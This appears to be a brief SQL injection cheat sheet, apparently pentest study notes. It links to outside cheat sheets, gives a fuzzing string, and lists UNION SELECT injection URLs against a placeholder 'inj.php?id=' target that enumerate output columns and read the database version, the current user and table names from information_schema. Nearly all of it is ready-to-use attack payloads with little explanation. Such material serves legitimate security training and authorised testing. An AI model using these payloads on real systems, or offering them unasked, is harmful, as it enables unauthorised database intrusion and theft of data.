Cheat Sheets
https://websec.ca/kb/sql_injection
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://www.sqlinjectionwiki.com/
Useful SQL Injection fuzzing string:
!@#$%^&*()_+-=[]\{}|;':"<>?,./asdfghjkl1234567890
Check if you can find a row, where you can place your output
http://ip/inj.php?id=1 union all select 1,2,3,4,5,6,7,8
Get the version of the database
http://ip/inj.php?id=1 union all select 1,2,3,@@version,5
Get the current user
http://ip/inj.php?id=1 union all select 1,2,3,user(),5
See all tables
http://ip/inj.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables